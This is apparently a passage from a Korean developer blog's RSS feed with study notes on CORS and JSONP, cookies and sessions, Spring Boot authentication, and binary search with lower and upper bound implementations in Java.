<h3 id="same-origin-클릭">Same Origin 클릭</h3>
<p><img src="https://velog.velcdn.com/images/layl__a/post/1b398cee-73a8-4d30-ad3a-038e75610ab7/image.png" alt=""></p>
<h3 id="cross-origin-클릭">Cross Origin 클릭</h3>
<p><img src="https://velog.velcdn.com/images/layl__a/post/7e6b03fa-d2af-4e4b-b726-2846039a6e61/image.png" alt=""></p>
<h2 id="cross-origin-resource-sharingcors">Cross Origin Resource Sharing(CORS)</h2>
<hr>
<h3 id="sop-제한-완화">SOP 제한 완화</h3>
<p>SOP이 클라이언트 사이드 웹 보안에서 중요한 역할을 하지만, 브라우저가 SOP에 구애 받지 않고 외부 출처를 막지 못하는 경우가 있다. 예를 들어, 이미지, 자바스크립트 ,CSS등의 리소스를 불러오는 img, style ,script등의 태그는 SOP의 영향을 받지 않는다.
  그리고** 웹 서비스에서 동일 출처 정책인 SOP를 완화하여 다른 출처의 데이터를 처리 해야 하는 경우도 있다.** 예를 들어,</p>
<ul>
<li><a href="https://cafe.example.com">https://cafe.example.com</a></li>
<li><a href="https://blog.example.com">https://blog.example.com</a></li>
<li><a href="https://mail.example.com">https://mail.example.com</a>
이와 같이 각 서비스의 host의 경우가 다르기 때문에 브라우저는 오리진이 다르다고 인식 할 수 있다.
이러한 문제를 해결하기 위해 SOP을 적용받지 않고 리소스를 공유 할 수 있는 방법을 교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)라고 한다. 
교차 출처의 자원을 공유하는 방법은 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법을 사용한다. 이 외에도 JSON with Padding(JSONP)방법을 통해 CORS를 대체할 수 있다.</li>
</ul>
<h3 id="cors">CORS</h3>
<p>교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)는 HTTP헤더에 기반하여 Cross Origin 간에 리소스를 공유하는 방법이다. 수신측의 정해진 규칙에 따라 발신측에서 CORS 헤더를 설정해 요청하면, 데이터를 가져갈 수 있도록 설정한다.</p>
<h4 id="웹-리소스-요청-코드">웹 리소스 요청 코드</h4>
<pre><code class="language-console">/*
    XMLHttpRequest 객체를 생성합니다. 
    XMLHttpRequest는 웹 브라우저와 웹 서버 간에 데이터 전송을
    도와주는 객체 입니다. 이를 통해 HTTP 요청을 보낼 수 있습니다.
*/
xhr = new XMLHttpRequest();
/* https://theori.io/whoami 페이지에 POST 요청을 보내도록 합니다. */
xhr.open(&#39;POST&#39;, &#39;https://theori.io/whoami&#39;);
/* HTTP 요청을 보낼 때, 쿠키 정보도 함께 사용하도록 해줍니다. */
xhr.withCredentials = true;
/* HTTP Body를 JSON 형태로 보낼 것이라고 수신측에 알려줍니다. */
xhr.setRequestHeader(&#39;Content-Type&#39;, &#39;application/json&#39;);
/* xhr 객체를 통해 HTTP 요청을 실행합니다. */
xhr.send(&quot;{&#39;data&#39;:&#39;WhoAmI&#39;}&quot;);</code></pre>
<h4 id="발신측의-http-요청">발신측의 HTTP 요청</h4>
<pre><code class="language-console">OPTIONS /whoami HTTP/1.1
Host: theori.io
Connection: keep-alive
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: https://dreamhack.io
Accept: */*
Referer: https://dreamhack.io/</code></pre>
<p>발신측에서 <strong>POST 방식</strong>으로 HTTP 요청을 보냈지만, <strong>OPTIONS 메소드</strong>를 가진 HTTP가 전달이 된 후, 수신 측에 웹 리소스를 요청해도 되는 질의하는 과정을 거친다. 이를 <strong>CORS preflight</strong>이라고 한다. 
발신측의 HTTP 요청에서 &quot;Access-Control-Request&quot;로 시작하는 헤더를 살펴보면 헤더 뒤에 따라오는 Method와 Headers는 각각 메소드와 헤더를 추가적으로 사용할 수 있는지 질의한다. </p>
<p>위처럼 질의하면 서버는 다음과 같이 응답한다.</p>
<h4 id="서버의-응답">서버의 응답</h4>
<pre><code class="language-console">HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dreamhack.io
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type</code></pre>
<table>
<thead>
<tr>
<th>Header</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Access-Control-Allow-Origin</td>
<td>헤더 값에 해당하는 Origin에서 들어오는 요청만 처리</td>
</tr>
<tr>
<td>Access-Control-Allow-Methods</td>
<td>헤더 값에 해당하는 메소드의 요청만 처리</td>
</tr>
<tr>
<td>Access-Control-Allow-Credentials</td>
<td>쿠키 사용 여부 판단. 예시의 경우 쿠키의 사용을 허용</td>
</tr>
<tr>
<td>Access-Control-Allow-Headers</td>
<td>헤더 값에 해당하는 헤더의 사용 가능 여부를 나타냄</td>
</tr>
</tbody></table>
<p>위 과정을 마친 후, 브라우저는 수신측의 응답과 발신측의 요청이 상응하는지 확인하고, 서버에 POST 요청을 보내 수신측의 웹 리소스를 요청하는 HTTP 요청을 보낸다.</p>
<h2 id="json-with-paddingjsonp">JSON with Padding(JSONP)</h2>
<hr>
<p>위에서는, 이미지나 자바스크립트, CSS 등의 리소스는 SOP에 구애 받지 않고 외부 출처에 대해 접근을 허용한다고 했다. JSONP 방식은 이러한 특징을 이용해 script 태그로 Cross Origin의 데이터를 불러온다. 하지만 script 태그 내에서는 데이터를 자바스크립트의 코드로 인식하기 때문에 Callback 함수를 활용해야 한다. Cross Origin에 요청할 때 callback 파라미터에 어떤 함수로 받아오는 데이터를 핸들링할지 넘겨주면, 대상 서버는 전달된 Callback으로 데이터를 감싸 응답한다.</p>
<h4 id="예시">예시</h4>
<ul>
<li><p>웹 리소스 요청 코드
```javascript</p>
<script>
/* myCallback이라는 콜백 함수를 지정합니다. */
function myCallback(data){
  /* 전달받은 인자에서 id를 콘솔에 출력합니다.*/
  console.log(data.id)
}
</script>
<p>&lt;!--
<a href="https://theori.io%EC%9D%98">https://theori.io의</a> 스크립트를 로드하는 HTML 코드입니다.
단, callback이라는 이름의 파라미터를 myCallback으로 지정함으로써
수신측에게 myCallback 함수를 사용해 수신받겠다고 알립니다.</p>
</li>
<li><p>-&gt;</p>
<script src='http://theori.io/whoami?callback=myCallback'></script>
<p>```
마지막 줄에서 Cross Origin의 데이터를 불러온다. 이 때 callback 파라미터로 myCallback을 함께 전달한다. Cross Origin 에서는 응답할 데이터를 myCallback 함수의 인자로 전달될 수 있도록 myCallback으로 감싸 Javascript 코드를 반환해준다. 반환된 코드는 요청측에서 실행되기 때문에 myCallback 함수가 전달된 데이터를 읽을 수 있다. 
다만, JSONP는 CORS가 생기기 전에 사용하던 방법으로 현재는 거의 사용하지 않는 추세이다.</p>
</li>
<li><p>웹 리소스 요청에 따른 응답코드
```javascript
/*
수신측은 myCallback 이라는 함수를 통해 요청측에 데이터를 전달합니다.
전달할 데이터는 현재 theori.io에서 클라이언트가 사용 중인 계정 정보인
{&#39;id&#39;: &#39;dreamhack&#39;} 입니다. </p>
</li>
<li><p>/
myCallback({&#39;id&#39;:&#39;dreamhack&#39;});
```</p>
<h4 id="예시2">예시2</h4>
</li>
<li><p>서버가 반환한 JSON 데이터</p>
<pre><code class="language-json">{
&quot;name&quot;: &quot;John&quot;,
&quot;age&quot;: 30,
&quot;city&quot;: &quot;New York&quot;
}</code></pre>
</li>
<li><p>JSONP로 사용하기 위해 콜백 함수로 래핑한 후의 서버의 응답</p>
<pre><code class="language-json">myCallback({
&quot;name&quot;: &quot;John&quot;,
&quot;age&quot;: 30,
&quot;city&quot;: &quot;New York&quot;
});</code></pre>
<p>서버에서 반환된 JSONP응답은 스크립트 태그를 사용하여 웹 페이지에 동적으로 로드된다. 로드된 JSONP 응답은 웹페이지에서 &quot;myCallback&quot;이라는 콜백 함수를 호출하며, 그 결과로 JSON데이터를 사용할 수 있게 된다.</p>
</li>
</ul>
<h2 id="정리">정리</h2>
<hr>
<table>
<thead>
<tr>
<th>키워드</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Same Origin Policy(SOP)</td>
<td>동일 출처 정책, 현재 페이지의 출처가 아닌 다른 출처로부터 온 데이터를 읽지 못하게 하는 브라우저의 보안 메커니즘</td>
</tr>
<tr>
<td>Same Origin</td>
<td>현재 페이지와 동일한 출처</td>
</tr>
<tr>
<td>Cross Origin</td>
<td>현재 페이지와 다른 출처</td>
</tr>
<tr>
<td>Cross Origin Resource Sharing(CORS)</td>
<td>교차 출처 리소스 공유, SOP의 제한을 받지 않고 Cross Origin의 데이터를 처리 할 수 있도록 해주는 메커니즘</td>
</tr>
</tbody></table>
]]></description>
        </item>
        <item>
            <title><![CDATA[백준 10816 - 숫자 카드2 자바로 구현]]></title>
            <link>https://velog.io/@layl__a/%EB%B0%B1%EC%A4%80-10816-%EC%88%AB%EC%9E%90-%EC%B9%B4%EB%93%9C2-%EC%9E%90%EB%B0%94%EB%A1%9C-%EA%B5%AC%ED%98%84</link>
            <guid>https://velog.io/@layl__a/%EB%B0%B1%EC%A4%80-10816-%EC%88%AB%EC%9E%90-%EC%B9%B4%EB%93%9C2-%EC%9E%90%EB%B0%94%EB%A1%9C-%EA%B5%AC%ED%98%84</guid>
            <pubDate>Mon, 17 Apr 2023 11:19:23 GMT</pubDate>
            <description><![CDATA[<h3 id="문제">문제</h3>
<hr>
<h4 id="1-문제">1. 문제</h4>
<p>숫자 카드는 정수 하나가 적혀져 있는 카드이다. 상근이는 숫자 카드 N개를 가지고 있다. 정수 M개가 주어졌을 때, 이 수가 적혀있는 숫자 카드를 상근이가 몇 개 가지고 있는지 구하는 프로그램을 작성하시오.</p>
<h4 id="2-입력">2. 입력</h4>
<p>첫째 줄에 상근이가 가지고 있는 숫자 카드의 개수 N(1 ≤ N ≤ 500,000)이 주어진다. 둘째 줄에는 숫자 카드에 적혀있는 정수가 주어진다. 숫자 카드에 적혀있는 수는 -10,000,000보다 크거나 같고, 10,000,000보다 작거나 같다.</p>
<p>셋째 줄에는 M(1 ≤ M ≤ 500,000)이 주어진다. 넷째 줄에는 상근이가 몇 개 가지고 있는 숫자 카드인지 구해야 할 M개의 정수가 주어지며, 이 수는 공백으로 구분되어져 있다. 이 수도 -10,000,000보다 크거나 같고, 10,000,000보다 작거나 같다.</p>
<h4 id="3-출력">3. 출력</h4>
<p>첫째 줄에 입력으로 주어진 M개의 수에 대해서, 각 수가 적힌 숫자 카드를 상근이가 몇 개 가지고 있는지를 공백으로 구분해 출력한다.</p>
<h3 id="문제-풀이">문제 풀이</h3>
<hr>
<p><img src="https://velog.velcdn.com/images/layl__a/post/13e08377-0bb9-4153-9f1f-f46db945de54/image.png" alt="">
배열에서 target보다 크거나 같은 값의 <strong>첫번째 원소의 인덱스(lowerBound)</strong> 와 <strong>특정 target보다 큰 첫번째 원소의 인덱스(upperBound)</strong>를 구하여 upperBound() - lowerBound()를 하면 해결된다.</p>
<pre><code class="language-java">import java.util.Arrays;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.io.IOException;
import java.util.StringTokenizer;

public class Main {

    public static void main(String[] args) throws IOException {
        BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

        int N = Integer.parseInt(br.readLine());
        int[] arr = new int[N];

        StringTokenizer st = new StringTokenizer(br.readLine());
        for(int i = 0; i &lt; N; i++) {
            arr[i] = Integer.parseInt(st.nextToken());
        }
        Arrays.sort(arr);    // 이분 탐색을 하기 위해서 정렬.

        int M = Integer.parseInt(br.readLine());
        StringBuilder sb = new StringBuilder();

        st = new StringTokenizer(br.readLine());
        for(int i = 0; i &lt; M; i++) {
            int target = Integer.parseInt(st.nextToken());
            sb.append(upperBound(arr, target) - lowerBound(arr, target)).append(&#39; &#39;);
        }
        System.out.println(sb);
    }
    private static int lowerBound(int[] arr, int target) {
        int start = 0;
        int end = arr.length;
        while (start &lt; end) {
            int mid = (start + end) / 2;
            if (target &lt;= arr[mid]) {
                end = mid;
            }
            else {
                start = mid + 1;
            }
        }
        return end;
    }
    private static int upperBound(int[] arr, int target) {
        int start = 0;
        int end = arr.length;
        while (start &lt; end) {
            int mid = (start + end) / 2;
            if (target &gt;= arr[mid]) {
                start = mid+1;
            }
            else {
                end = mid;
            }
        }
        return end;
    }
}</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[이분탐색 - upper_bound와 lower_bound 구현하기]]></title>
            <link>https://velog.io/@layl__a/%EC%9D%B4%EB%B6%84%ED%83%90%EC%83%89-upperbound%EC%99%80-lowerbound-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@layl__a/%EC%9D%B4%EB%B6%84%ED%83%90%EC%83%89-upperbound%EC%99%80-lowerbound-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0</guid>
            <pubDate>Mon, 17 Apr 2023 11:02:21 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/layl__a/post/4b941fa3-9a28-426d-afb6-6b934e658441/image.png" alt=""></p>
<hr>
<p>이분 탐색을 이용하여 어떤 리스트(배열)에서 특정 값을 찾을 때, 중복되는 값을 가지고 있을 수 있다. 그 중복값이 몇 개가 있는지 찾는 문제를 해결하기 위해 upper_bound 와 lower_bound가 존재한다.</p>
<h3 id="lower_bound">lower_bound</h3>
<p>: 범위(start, end) 안의 원소들 중, 특정 target 보다 크거나 같은 <strong>첫번째 원소의 인덱스</strong>를 리턴한다. 만약 그런 원소가 없다면 end 인덱스를 리턴한다.</p>
<pre><code class="language-java">private static int lowerBound(int[] arr, int target) {
    int start = 0;
    int end = arr.length;

    while(start &lt; end) {
        int mid = (start + end) / 2;

        if(arr[mid] &gt;= target) {
            end = mid;
        }
        else {
            start = mid + 1;
        }
    }
    return end;
}</code></pre>
<h3 id="upper_bound">upper_bound</h3>
<p>범위 (start, end) 안의 원소들 중, <strong>특정 target보다 큰 첫번째 원소의 인덱스</strong>를 리턴한다. 만약 그런 원소가 없다면 end 인덱스를 리턴한다.</p>
<pre><code class="language-java">private static int upperBound(int[] arr, int target) {
    int start = 0;
    int end = arr.length;

    while(start &lt; end) {
        int mid = (start + end) / 2;

        if(arr[mid] &lt;= target) {
            start = mid + 1;
        }
        else {
            end = mid;
        }
    }
    return end;
}</code></pre>
<h3 id="정리">정리</h3>
<p>이분탐색을 하기 위해서는 배열이 정렬된 상태여야 if문 조건에 만족할 수 있다. upperbound에서 target 보다 큰 인덱스 값을 설정하는 이유는 upperBound() - lowerBound()를 활용해 중복값의 개수를 찾기 때문이다. </p>
<h4 id="레퍼런스">레퍼런스</h4>
<p><a href="https://velog.io/@junhok82/lowerbound-upperbound">Java로 upper_bound와 lower_bound 구현하기 - junhok82</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[혼공] CS - Cookie & Session]]></title>
            <link>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-CS-Cookie-Session</link>
            <guid>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-CS-Cookie-Session</guid>
            <pubDate>Fri, 14 Apr 2023 09:18:44 GMT</pubDate>
            <description><![CDATA[<p><a href="https://learn.dreamhack.io/166">dreamhank - Cookie &amp; Session</a></p>
<h2 id="서론">서론</h2>
<hr>
<p> 현대의 웹 서비스는 HTTP 프로토콜을 사용해 통신한다. 사용자가 정보를 제공함에 따라 웹 서버는 상황에 맞는 페이지를 제공해야 한다. 회원 사용자면 회원의 페이지를, 관리자라면 관리자 페이지를 따로 식별할 수 있도록 해야 한다. 
 웹 서버는 HTTP 프로토콜로 통신하여 받아오는 URL, 헤더(Header) 등 에서 헤더(Header)에 담겨 있는 데이터를 이용해 구별을 한다. 이 데이터는 클라이언트의 정보와 요청의 내용을 구체화하고 있고, 클라이언트의 인증 정보 또한 포함되어 있다.
 클라이언트의 인증 정보를 포함하고 있는 것이 바로 Cokkie와 Session이다.</p>
<h2 id="쿠키란">쿠키란?</h2>
<hr>
<p> HTTP 프로토콜은 클라이언트의 정보 보호를 위해 Connectionless와 Stateless 특징을 가지고 있다. 두 특징의 설명은 다음과 같다.</p>
<blockquote>
</blockquote>
<ul>
<li>Connectionless: 하나의 요청에 하나의 응답을 한 후 연결을 종료한다. 특정 요청에 대한 연결이 이루어진 이후 새로운 요청과는 이어지지 않고 항상 새로운 연결을 맺는다.</li>
<li>Statelss: 통신이 끝난 후 상태 정보를 저장하지 않는 것을 의미한다. 이전 연결에서 사용한 데이터를 다른 연결에서 요구할 수 없다.</li>
</ul>
<ul>
<li>쿠키의 용도<ul>
<li>일반적으로 클라이언트의 정보 기록과 상태 정보를 표현</li>
<li>정보 기록 : 클라이언트가 웹 서버에서 팝업 옵션을 선택한 것을 기억하기 위해 쿠키에 해당 정보를 기록하고, 쿠키를 통해 팝업 창 표시 여부를 판단한다. 하지만 쿠키는 서버와 통신할 때마다 전송되는 문제로 인해 리소스 낭비가 있을 수 있다. 최근에는 이 단점을 보완하기 위해 Modern Storage APIs를 통해 데이터를 저장하는 방식을 권장한다.</li>
<li>상태 정보 : 사용자가 등록한 정보에 따라 웹 서버가 제공할 수 있는 서비스가 있다. 이때 클라이언트를 식별할 수 있는 값을 쿠키에 저장해 사용한다.</li>
</ul>
</li>
</ul>
<ul>
<li><p>쿠키 유무에 따른 통신</p>
<ul>
<li><p>쿠키가 없는 통신 
<img src="https://velog.velcdn.com/images/layl__a/post/07bf9ee2-8e54-4e96-94b4-5a48441dcf78/image.png" alt=""></p>
</li>
<li><p><em>서버는 요청을 보낸 클라이언트의 정보가 없기에 어떤 클라이언트와 통신하는지 알 수가 없다.*</em></p>
</li>
<li><p>쿠키가 있는 통신
<img src="https://velog.velcdn.com/images/layl__a/post/69babfa1-b247-4fa9-b2e3-6ad8a6af00f3/image.png" alt=""></p>
</li>
<li><p><em>쿠키가 있다면, 클라이언트는 서버에 요청을 보낼 때마다 쿠키를 포함하고, 서버는 해당 쿠키를 통해 클라이언트를 식별한다.*</em></p>
</li>
</ul>
</li>
</ul>
<h3 id="하지만-쿠키는-악의적인-클라이언트에-의해-변조되어-서버에-요청하고-타-이용자를-사칭해-정보를-탈취할-수-있다-이를-세션-하이재킹session-hijacking이라고-한다">하지만,,!! 쿠키는 악의적인 클라이언트에 의해 변조되어 서버에 요청하고 타 이용자를 사칭해 정보를 탈취할 수 있다.. 이를 세션 하이재킹(Session Hijacking)이라고 한다.</h3>
<p><strong>그럼 어떻게 해야하지?</strong></p>
<h2 id="세션">세션</h2>
<hr>
<p>클라이언트가 쿠키에 담긴 인증 상태를 변조할 수 없게 하기 위해 사용하는 방법이 세션(Session)이다. 세션은 인증 정보를 서버에 저장하고 해당 데이터에 접근할 수 있는 키(유추할 수 없는 랜덤한 문자열)를 만들어 클라이언트에 전달하는 방식으로 작동한다. 해당 키를 일반적으로 Session ID라고 한다. 브라우저는 해당 키를 쿠키에 저장하고 이후에 HTTP 요청을 보낼 때 사용한다. 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인한다.
단계적으로 본다면 다음과 같다.</p>
<blockquote>
</blockquote>
<ol>
<li>클라이언트가 서버에 요청을 보낼 때 서버는 클라이언트에게 고유한 세션 식별자(Session ID)를 부여한다. 이 세션 식별자는 일반적으로 쿠키를 사용하여 클라이언트에게 전달된다.</li>
<li>클라이언트는 서버로부터 받은 세션 식별자를 쿠키를 통해 저장하고, 이후의 모든 요청에 해당 쿠키를 함께 전송한다. 이를 통해 서버는 클라이언트를 식별하고, 해당 세션에 대한 데이터를 유지할 수 있다.</li>
<li>서버는 받은 세션 식별자를 사용하여 클라이언트의 세션 데이터를 서버에 저장한다. 세션 데이터는 서버 측에 저장되기 때문에 클라이언트는 직접 접근할 수 없다.</li>
<li>클라이언트는 필요한 작업을 수행하며, 서버는 세션 데이터를 사용하여 클라이언트의 상태를 유지하거나 변경합니다.</li>
<li>클라이언트가 세션을 종료하거나 세션이 만료될 경우, 서버는 해당 세션 데이터를 삭제한다. 일반적으로 세션은 일정 시간 동안 유효하며, 만료 시간이 지나면 클라이언트는 새로운 세션 식별자를 발급받아야 한다.</li>
</ol>
<h4 id="쿠키와의-핵심적인-차이">쿠키와의 핵심적인 차이</h4>
<ol>
<li>저장위치</li>
</ol>
<p><strong>쿠키는 데이터 자체를 이용자가 저장, 세션은 서버가 저장</strong></p>
<ol start="2">
<li>데이터 보존 기간</li>
</ol>
<p><strong>세션은 사용자가 웹 사이트를 방문하는 동안에만 유지되고, 쿠키는 설정된 만료 날짜 또는 사용자가 수동으로 삭제하기 전까지는 유효</strong></p>
<ol start="3">
<li>용량 제한</li>
</ol>
<p><strong>세션은 서버 메모리나 데이터베이스에 저장되므로, 보통 더 많은 데이터를 저장할 수 있음. 반면에, 쿠키는 클라이언트 측에 저장되어 용량이 제한되어 있고, 하나의 도메인 당 쿠키의 개수와 총 크기에 제한이 있을 수 있음.</strong></p>
<ol start="4">
<li>데이터 전송</li>
</ol>
<p><strong>세션은 데이터가 서버에 저장되기 때문에, 데이터가 클라이언트와 서버 사이에서 전송되지 않은 반면에, 쿠키는 클라이언트와 서버 사이에서 데이터를 주고받을 때 사용됨.</strong></p>
<p><strong>요약하면, 세션은 서버에 저장되고 데이터 보존 기간이 세션 동안에만 유지되며, 보안성이 높다. 반면에, 쿠키는 클라이언트에 저장되고 데이터 보존 기간이 설정된 만료 날짜까지 유지되며, 용량이 제한되고 상대적으로 보안성이 낮을 수 있다.</strong></p>
<h3 id="크롬에서-쿠키-확인하기">크롬에서 쿠키 확인하기</h3>
<hr>
<ul>
<li><p>크롬 Console</p>
<ul>
<li>개발자도구(F12)에 들어가서 <strong>Console</strong>탭을 누른다. <strong>document.cookie</strong>를 입력하면 쿠키 정보를 확인할 수 있다.
<img src="https://velog.velcdn.com/images/layl__a/post/d41e7857-47bb-4f69-a54f-c890a00109af/image.png" alt=""></li>
</ul>
</li>
<li><p>크롬 Application</p>
<ul>
<li><strong>Application</strong> 탭을 누른다. 좌측에 나열된 목록에서 <strong>Cookie</strong>를 펼치면 Origin 목록을 확인할 수 있다. Origin을 누르면 설정 된 쿠키 정보를 확인/수정할 수 있다.
<img src="https://velog.velcdn.com/images/layl__a/post/d30e46e3-f837-4c72-9c6d-1c923a144cfe/image.png" alt=""></li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Spring boot] 세션을 사용할 수 없는 경우?]]></title>
            <link>https://velog.io/@layl__a/Spring-boot-%EC%84%B8%EC%85%98%EC%9D%84-%EC%82%AC%EC%9A%A9%ED%95%A0-%EC%88%98-%EC%97%86%EB%8A%94-%EA%B2%BD%EC%9A%B0</link>
            <guid>https://velog.io/@layl__a/Spring-boot-%EC%84%B8%EC%85%98%EC%9D%84-%EC%82%AC%EC%9A%A9%ED%95%A0-%EC%88%98-%EC%97%86%EB%8A%94-%EA%B2%BD%EC%9A%B0</guid>
            <pubDate>Tue, 11 Apr 2023 10:12:49 GMT</pubDate>
            <description><![CDATA[<p>다음과 같은 상황의 개발환경에서는 세션을 추천하지 않음</p>
<blockquote>
<pre><code>스프링부트 + 타임리프
스프링부트 + JSP
스프링부트 + mustache</code></pre></blockquote>
<blockquote>
<pre><code>MPA: 멀티 페이지 어플리케이션
SPA: 백엔드(SB) / 프론트 (리액트)
SPA: 백엔드(SB) / 프론트 (안드로이드 or IOS) </code></pre></blockquote>
<p>⇒ 프론트가 따로 있는 곳에서는 세션이 안 먹는다</p>
<p>따라서</p>
<blockquote>
<pre><code>API KEY : ID/PW
API KEY : 의미없는 고유 키
API KEY : JWT 토큰  ⇒ 공개 되어도 상관 없는 키 
(의미 + 키 ) 가 있기 때문에 변조가 되어도 키가 있으면 가능하다. 사용자가 키를 모르는 이상은 바꿀 수 없다. 
을 사용</code></pre></blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[알고리즘] 이진 탐색 (이분탐색)]]></title>
            <link>https://velog.io/@layl__a/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EC%9D%B4%EC%A7%84-%ED%83%90%EC%83%89-%EC%9D%B4%EB%B6%84%ED%83%90%EC%83%89</link>
            <guid>https://velog.io/@layl__a/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-%EC%9D%B4%EC%A7%84-%ED%83%90%EC%83%89-%EC%9D%B4%EB%B6%84%ED%83%90%EC%83%89</guid>
            <pubDate>Sun, 09 Apr 2023 11:58:57 GMT</pubDate>
            <description><![CDATA[<h2 id="이진탐색이란">이진탐색이란?</h2>
<hr>
<p>정렬되어 있는 데이터에서 원하는 값을 찾아내는 알고리즘. 주어진 데이터의 중앙값과 찾고자 하는 값을 비교해 데이터의 크기를 절반씩 줄이면서 대상을 찾는 방법.</p>
<p>** * 특징**</p>
<ul>
<li><strong>시간 복잡도</strong>: O(logN)</li>
<li>중앙값 비교를 통한 대상 축소 방식</li>
<li>정렬 데이터에서 원하는 데이터를 탐색하는 일반적인 알고리즘</li>
<li>대규모 데이터를 다루는 경우에 유용</li>
</ul>
<h2 id="핵심-이론">핵심 이론</h2>
<hr>
<p>오름차순으로 정렬된 데이터에서 다음 4가지 과정을 반복한다.</p>
<blockquote>
</blockquote>
<ol>
<li>현재 데이터셋의 중앙값(median)을 선택한다.</li>
<li>중앙값 &gt; 타깃 데이터(taget data)일 때 중앙값 기준으로 왼쪽 데이터셋을 선택한다. </li>
<li>중앙값 &lt; 타깃 데이터일 때 주앙값 기준으로 오른쪽 데이터셋을 선택한다.</li>
<li>과정 1~3을 반복하다가 중앙값 == 타깃 데이터일 때 탐색을 종료한다.</li>
</ol>
<h3 id="예시">예시)</h3>
<ul>
<li>다음과 같은 정렬된 배열이 있다고 가정해보자. </li>
<li>우리가 찾는 값이 11이라고 가정해보자.<pre><code>1 3 5 7 9 11 13 15 17 19</code></pre><blockquote>
</blockquote>
</li>
</ul>
<ol>
<li>중간 인덱스(left + right) / 2를 선택합니다. -&gt; 중간 인덱스는 (0 + 9) / 2 = 4</li>
<li>중간 값인 9와 찾고자 하는 값인 11이 일치하지 않으므로 탐색 범위를 다시 좁힌다.</li>
<li>찾고자 하는 값이 중간값보다 크므로, 중간값의 오른쪽 부분 배열에서 탐색을 시작한다. -&gt; 중간 인덱스 + 1부터 right까지(인덱스 5 ~ 9) 탐색. </li>
<li>중간 인덱스를 다시 선택 -&gt; (5 + 9) / 2 = 7</li>
<li>위 과정을 반복하여서 11을 찾는다.</li>
</ol>
<h2 id="알고리즘-구현-방식">알고리즘 구현 방식</h2>
<hr>
<h3 id="1-재귀">1. 재귀</h3>
<pre><code class="language-java">// 매개변수로 배열 arr, 찾고자 하는 값 target, 배열의 왼쪽 끝을 가리키는 left, 배열의 오른쪽 끝을 가리키는 right를 전달받는다.

public static int binarySearchRecursive(int[] arr, int target, int left, int right) {
    if (left &gt; right) {
        return -1;
    }
    // 현재 검색 범위의 중간값을 구하고, 이 값이 찾고자 하는 값인지 확인
    int mid = (left + right) / 2;

    if (arr[mid] == target) {
        return mid;
    } else if (arr[mid] &gt; target) { // 만약 찾고자 하는 값이 중간값보다 작다면, 중간값의 왼쪽 부분 배열에서 재귀적으로 탐색
        return binarySearchRecursive(arr, target, left, mid - 1);
    } else { // 찾고자 하는 값이 중간값보다 크다면, 중간값의 오른쪽 부분 배열에서 재귀적으로 탐색
        return binarySearchRecursive(arr, target, mid + 1, right);
    }
}</code></pre>
<ul>
<li><p>재귀 함수를 사용한 방법은 코드가 간결하지만, 재귀 호출로 인해 스택 메모리를 많이 사용할 수 있다. 반면에 while문을 사용한 방법은 스택 메모리를 덜 사용하며, 구현이 복잡하지 않다.</p>
<h3 id="2-while문">2. while문</h3>
<pre><code class="language-java">public static int binarySearch(int[] arr, int target) {
  int left = 0;
  int right = arr.length - 1;

  while (left &lt;= right) {
  //현재 검색 범위의 중간값을 구하고, 
      int mid = (left + right) / 2;
      //이 값이 찾고자 하는 값인지 확인
      if (arr[mid] == target) {
          return mid;
      } else if (arr[mid] &gt; target) { // 찾고자 하는 값이 중간값보다 작다면, 중간값의 왼쪽 부분 배열에서 탐색을 수행해야 하므로 right 포인터를 중간값의 왼쪽으로 이동
          right = mid - 1;
      } else { // 고자 하는 값이 중간값보다 크다면, 중간값의 오른쪽 부분 배열에서 탐색을 수행해야 하므로 left 포인터를 중간값의 오른쪽으로 이동
          left = mid + 1;
      }
  }

  return -1;
}</code></pre>
</li>
</ul>
<h4 id="레퍼런스">레퍼런스</h4>
<ul>
<li>알고리즘 코딩테스트 자바편 - 김종관 지음</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[혼공]  웹 브라우저 ]]></title>
            <link>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-%EC%9B%B9-%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80</link>
            <guid>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-%EC%9B%B9-%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80</guid>
            <pubDate>Thu, 06 Apr 2023 07:33:24 GMT</pubDate>
            <description><![CDATA[<p><a href="https://learn.dreamhack.io/171">DreamHack - 웹 해킹</a></p>
<h2 id="웹브라우저란">웹브라우저란?</h2>
<hr>
<p>웹 브라우저(Web Browser)는 사용자가 웹 페이지를 볼 수 있도록 이용자 친화적인 인터페이스를 제공하면서 다양한 기능을 제공하는 소프트웨어다. 웹 브라우저는 사용자에게 웹 사이트 주소를 전달받아 해당 웹 사이트의 서버로부터 데이터를 응답받아 사용자에게 시각화해준다. </p>
<p>사용자는 웹 브라우저를 사용하면서 어떠한 동작이 내부에서 일어나고 있는지 알지 못한다. 사용자가 주소창에 인터넷 주소를 입력을 했을 때 웹 브라우저가 웹 페이지를 보여주는 과정은 크게 세 가지 단계로 나눌 수 있다.</p>
<ol>
<li><p>DNS 조회</p>
<ul>
